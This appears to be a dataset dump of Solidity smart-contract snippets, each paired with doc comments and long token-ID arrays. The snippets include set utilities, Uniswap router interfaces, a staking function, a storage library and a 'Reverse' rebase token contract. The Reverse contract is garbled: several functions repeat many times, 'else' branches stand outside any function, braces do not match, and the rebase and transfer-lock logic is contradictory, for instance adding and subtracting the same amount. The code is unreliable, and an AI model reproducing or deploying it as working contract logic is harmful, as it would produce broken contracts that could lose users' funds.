* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
| @notice attaches underlying STBL tokens to an NFT and initiates rewards gain | function stake(
address policyBookAddress,
uint256 nftIndex,
uint256 amount
) external override onlyBMICoverStaking {
require(_stakes[nftIndex].stakeBlock == 0, "RewardsGenerator: Already staked");
PolicyBookRewardInfo storage info = _policyBooksRewards[policyBookAddress];
if (info.totalStaked == 0) {
info.lastUpdateBlock = info.startStakeBlock = block.number;
if (info.cumulativeReward > 0) {
info.cumulativeReward = 0;
}
}
totalPoolStaked = totalPoolStaked.add(amount.mul(info.rewardMultiplier));
_updateCumulativeSum(policyBookAddress);
info.totalStaked = info.totalStaked.add(amount);
_updatePoolAverage(policyBookAddress);
_stakes[nftIndex] = StakeRewardInfo(info.average, 0, amount, block.number);
}
| 12,088,226 | [
1,
7331,
281,
6808,
2347,
14618,
2430,
358,
392,
423,
4464,
471,
1208,
16020,
283,
6397,
17527,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
384,
911,
12,
203,
3639,
1758,
3329,
9084,
1887,
16,
203,
3639,
2254,
5034,
290,
1222,
1016,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3903,
3849,
1338,
38,
22972,
1643,
510,
6159,
288,
203,
3639,
2583,
24899,
334,
3223,
63,
82,
1222,
1016,
8009,
334,
911,
1768,
422,
374,
16,
315,
17631,
14727,
3908,
30,
17009,
384,
9477,
8863,
203,
203,
3639,
7436,
9084,
17631,
1060,
966,
2502,
1123,
273,
389,
5086,
9084,
87,
17631,
14727,
63,
5086,
9084,
1887,
15533,
203,
203,
3639,
309,
261,
1376,
18,
4963,
510,
9477,
422,
374,
13,
288,
203,
5411,
1123,
18,
2722,
1891,
1768,
273,
1123,
18,
1937,
510,
911,
1768,
273,
1203,
18,
2696,
31,
203,
203,
5411,
309,
261,
1376,
18,
71,
11276,
17631,
1060,
405,
374,
13,
288,
203,
7734,
1123,
18,
71,
11276,
17631,
1060,
273,
374,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
2078,
2864,
510,
9477,
273,
2078,
2864,
510,
9477,
18,
1289,
12,
8949,
18,
16411,
12,
1376,
18,
266,
2913,
23365,
10019,
203,
203,
3639,
389,
2725,
39,
11276,
3495,
12,
5086,
9084,
1887,
1769,
203,
203,
3639,
1123,
18,
4963,
510,
9477,
273,
1123,
18,
4963,
510,
9477,
18,
1289,
12,
8949,
1769,
203,
203,
3639,
389,
2725,
2864,
17115,
12,
5086,
9084,
1887,
1769,
203,
203,
3639,
389,
334,
3223,
63,
82,
1222,
1016,
65,
273,
934,
911,
17631,
1060,
966,
12,
1376,
18,
15621,
16,
374,
16,
3844,
16,
1203,
18,
2696,
1769,
203,
565,
289,
203,
203,
2
]
|
./full_match/5/0xBeFb659aE97c5E4fc1494b1e994bC2B219D5F581/sources/contracts/storage/StorageApprovedHashes.sol | @author Amit Molek @dev Diamond compatible storage for approved hashes | library StorageApprovedHashes {
pragma solidity 0.8.16;
struct DiamondStorage {
mapping(bytes32 => uint256) deadlines;
bytes32 public constant DIAMOND_STORAGE_POSITION =
keccak256("antic.storage.ApprovedHashes");
}
function diamondStorage()
internal
pure
returns (DiamondStorage storage ds)
{
bytes32 storagePosition = DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := storagePosition
}
}
function diamondStorage()
internal
pure
returns (DiamondStorage storage ds)
{
bytes32 storagePosition = DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := storagePosition
}
}
}
| 7,033,347 | [
1,
37,
1938,
490,
790,
79,
225,
12508,
301,
1434,
7318,
2502,
364,
20412,
9869,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
5235,
31639,
14455,
288,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2313,
31,
203,
565,
1958,
12508,
301,
1434,
3245,
288,
203,
3639,
2874,
12,
3890,
1578,
516,
2254,
5034,
13,
8363,
3548,
31,
203,
203,
565,
1731,
1578,
1071,
5381,
3690,
2192,
673,
40,
67,
19009,
67,
15258,
273,
203,
3639,
417,
24410,
581,
5034,
2932,
9941,
18,
5697,
18,
31639,
14455,
8863,
203,
203,
565,
289,
203,
565,
445,
4314,
301,
1434,
3245,
1435,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
14521,
301,
1434,
3245,
2502,
3780,
13,
203,
565,
288,
203,
3639,
1731,
1578,
2502,
2555,
273,
3690,
2192,
673,
40,
67,
19009,
67,
15258,
31,
203,
3639,
19931,
288,
203,
5411,
3780,
18,
14194,
519,
2502,
2555,
203,
3639,
289,
203,
565,
289,
203,
565,
445,
4314,
301,
1434,
3245,
1435,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
14521,
301,
1434,
3245,
2502,
3780,
13,
203,
565,
288,
203,
3639,
1731,
1578,
2502,
2555,
273,
3690,
2192,
673,
40,
67,
19009,
67,
15258,
31,
203,
3639,
19931,
288,
203,
5411,
3780,
18,
14194,
519,
2502,
2555,
203,
3639,
289,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xc3fEeE325596ee138bd97f93ae4b965d987D808C/sources/Reverse.sol | PLEASE READ BEFORE CHANGING ANY ACCOUNTING OR MATH Anytime there is division, there is a risk of numerical instability from rounding errors. In order to minimize this risk, we adhere to the following guidelines: 1) The conversion rate adopted is the number of gons that equals 1 fragment. The inverse rate must not be used--TOTAL_GONS is always the numerator and _totalSupply is always the denominator. (i.e. If you want to convert gons to fragments instead of multiplying by the inverse rate, you should divide by the normal rate) 2) Gon balances converted into Fragments are always rounded down (truncated). We make the following guarantees: - If address 'A' transfers x Fragments to address 'B'. A's resulting external balance will be decreased by precisely x Fragments, and B's external balance will be precisely increased by x Fragments. We do not guarantee that the sum of all balances equals the result of calling totalSupply(). This is because, for any conversion function 'f()' that has non-zero rounding error, f(x0) + f(x1) + ... + f(xn) is not always equal to f(x0 + x1 + ... xn). | contract Reverse is ERC20Detailed, Ownable {
using SafeMath for uint256;
struct MagicBlocks {
}
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
mapping (address => MagicBlocks) public MagicBlocksMap;
uint Magiclock = 20;
bool public Magic = false;
uint256 private constant DECIMALS = 9;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
uint256 maxDebase=9000;
IERC20 REBASETOKEN;
address RapiDsaddress;
address UNISWAPPAIRaddress;
address DAOVotesaddress;
address UniswapRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 public lastTrackedReBaseSupply;
bool public baseSupplyHasBeenInitilized = false;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
mapping (address => mapping (address => uint256)) private _allowedFragments;
function setDAOvotecontract (address _daovote) onlyOwner public {
DAOVotesaddress = _daovote;
}
function setREBASEcontract (IERC20 _rebasetoken) public {
require(msg.sender == DAOVotesaddress, "!governance");
REBASETOKEN = _rebasetoken;
lastTrackedReBaseSupply = REBASETOKEN.totalSupply();
baseSupplyHasBeenInitilized = true;
}
function setUNISWAPPAIRcontract (IERC20 _unipair) onlyOwner public {
UNISWAPPAIRaddress = _unipair;
}
function setRAPIDScontract (IERC20 _rapids) onlyOwner public {
RapiDsaddress = _rapids;
}
function setMAXdebase (uint256 _maxdebase) onlyOwner public {
maxDebase = _maxdebase;
}
uint public MagicEND;
uint MagicSTART=172800;
function initializeMagic() onlyOwner public {
require(Magic==false,"Magic Already Actived");
MagicEND =block.number.add(MagicSTART) ;
Magic = true;
}
function nextRebaseInfo()
external view
returns (uint256, bool)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
bool rebaseIsPositive = false;
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= 10000){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
rebaseIsPositive = true;
}
return (multiplier, rebaseIsPositive);
}
function nextRebaseInfo()
external view
returns (uint256, bool)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
bool rebaseIsPositive = false;
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= 10000){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
rebaseIsPositive = true;
}
return (multiplier, rebaseIsPositive);
}
function nextRebaseInfo()
external view
returns (uint256, bool)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
bool rebaseIsPositive = false;
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= 10000){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
rebaseIsPositive = true;
}
return (multiplier, rebaseIsPositive);
}
} else if (lastTrackedReBaseSupply > baseTotalSupply) {
function rebase()
external
returns (uint256)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
require(baseTotalSupply != lastTrackedReBaseSupply, 'NOT YET PLEASE WAIT');
if(block.number >= MagicEND){
Magic = false;
}
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= maxDebase){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
}
uint256 modification;
modification = _totalSupply.mul(multiplier).div(10000);
if (baseTotalSupply > lastTrackedReBaseSupply) {
_totalSupply = _totalSupply.sub(modification);
_totalSupply = _totalSupply.add(modification);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastTrackedReBaseSupply = baseTotalSupply;
UNIV2Sync(UNISWAPPAIRaddress).sync();
RapidsSync(RapiDsaddress).syncrapids();
emit LogRebase(block.timestamp, _totalSupply);
return _totalSupply;
}
function rebase()
external
returns (uint256)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
require(baseTotalSupply != lastTrackedReBaseSupply, 'NOT YET PLEASE WAIT');
if(block.number >= MagicEND){
Magic = false;
}
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= maxDebase){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
}
uint256 modification;
modification = _totalSupply.mul(multiplier).div(10000);
if (baseTotalSupply > lastTrackedReBaseSupply) {
_totalSupply = _totalSupply.sub(modification);
_totalSupply = _totalSupply.add(modification);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastTrackedReBaseSupply = baseTotalSupply;
UNIV2Sync(UNISWAPPAIRaddress).sync();
RapidsSync(RapiDsaddress).syncrapids();
emit LogRebase(block.timestamp, _totalSupply);
return _totalSupply;
}
function rebase()
external
returns (uint256)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
require(baseTotalSupply != lastTrackedReBaseSupply, 'NOT YET PLEASE WAIT');
if(block.number >= MagicEND){
Magic = false;
}
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= maxDebase){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
}
uint256 modification;
modification = _totalSupply.mul(multiplier).div(10000);
if (baseTotalSupply > lastTrackedReBaseSupply) {
_totalSupply = _totalSupply.sub(modification);
_totalSupply = _totalSupply.add(modification);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastTrackedReBaseSupply = baseTotalSupply;
UNIV2Sync(UNISWAPPAIRaddress).sync();
RapidsSync(RapiDsaddress).syncrapids();
emit LogRebase(block.timestamp, _totalSupply);
return _totalSupply;
}
function rebase()
external
returns (uint256)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
require(baseTotalSupply != lastTrackedReBaseSupply, 'NOT YET PLEASE WAIT');
if(block.number >= MagicEND){
Magic = false;
}
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= maxDebase){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
}
uint256 modification;
modification = _totalSupply.mul(multiplier).div(10000);
if (baseTotalSupply > lastTrackedReBaseSupply) {
_totalSupply = _totalSupply.sub(modification);
_totalSupply = _totalSupply.add(modification);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastTrackedReBaseSupply = baseTotalSupply;
UNIV2Sync(UNISWAPPAIRaddress).sync();
RapidsSync(RapiDsaddress).syncrapids();
emit LogRebase(block.timestamp, _totalSupply);
return _totalSupply;
}
} else if (lastTrackedReBaseSupply > baseTotalSupply) {
function rebase()
external
returns (uint256)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
require(baseTotalSupply != lastTrackedReBaseSupply, 'NOT YET PLEASE WAIT');
if(block.number >= MagicEND){
Magic = false;
}
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= maxDebase){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
}
uint256 modification;
modification = _totalSupply.mul(multiplier).div(10000);
if (baseTotalSupply > lastTrackedReBaseSupply) {
_totalSupply = _totalSupply.sub(modification);
_totalSupply = _totalSupply.add(modification);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastTrackedReBaseSupply = baseTotalSupply;
UNIV2Sync(UNISWAPPAIRaddress).sync();
RapidsSync(RapiDsaddress).syncrapids();
emit LogRebase(block.timestamp, _totalSupply);
return _totalSupply;
}
} else {
function rebase()
external
returns (uint256)
{
uint256 baseTotalSupply = REBASETOKEN.totalSupply();
uint256 multiplier;
require(baseTotalSupply != lastTrackedReBaseSupply, 'NOT YET PLEASE WAIT');
if(block.number >= MagicEND){
Magic = false;
}
if (baseTotalSupply > lastTrackedReBaseSupply) {
multiplier = (baseTotalSupply.sub(lastTrackedReBaseSupply)).mul(10000).div(lastTrackedReBaseSupply);
if(multiplier >= maxDebase){
multiplier= maxDebase;
}
multiplier = (lastTrackedReBaseSupply.sub(baseTotalSupply)).mul(10000).div(lastTrackedReBaseSupply).mul(2);
}
uint256 modification;
modification = _totalSupply.mul(multiplier).div(10000);
if (baseTotalSupply > lastTrackedReBaseSupply) {
_totalSupply = _totalSupply.sub(modification);
_totalSupply = _totalSupply.add(modification);
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
lastTrackedReBaseSupply = baseTotalSupply;
UNIV2Sync(UNISWAPPAIRaddress).sync();
RapidsSync(RapiDsaddress).syncrapids();
emit LogRebase(block.timestamp, _totalSupply);
return _totalSupply;
}
constructor() public {
Ownable.initialize(msg.sender);
ERC20Detailed.initialize("Reverse Protocol", "Reverse", uint8(DECIMALS));
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[msg.sender] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function ViewRebaseTarget()
public
view
returns (address)
{
return REBASETOKEN;
}
function ViewDAOVotesaddress()
public
view
returns (address)
{
return DAOVotesaddress;
}
function ViewRapiDsaddress()
public
view
returns (address)
{
return RapiDsaddress;
}
function ViewUNISWAPaddress()
public
view
returns (address)
{
return UNISWAPPAIRaddress;
}
function ViewMagicblock(address _receivers)
public
view
returns (bool)
{
if(block.number >= MagicBlocksMap[_receivers].delayend){
return true;
return false;
}
}
function ViewMagicblock(address _receivers)
public
view
returns (bool)
{
if(block.number >= MagicBlocksMap[_receivers].delayend){
return true;
return false;
}
}
}else {
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(msg.sender)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(msg.sender)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(msg.sender)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(msg.sender)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(from)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(from)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
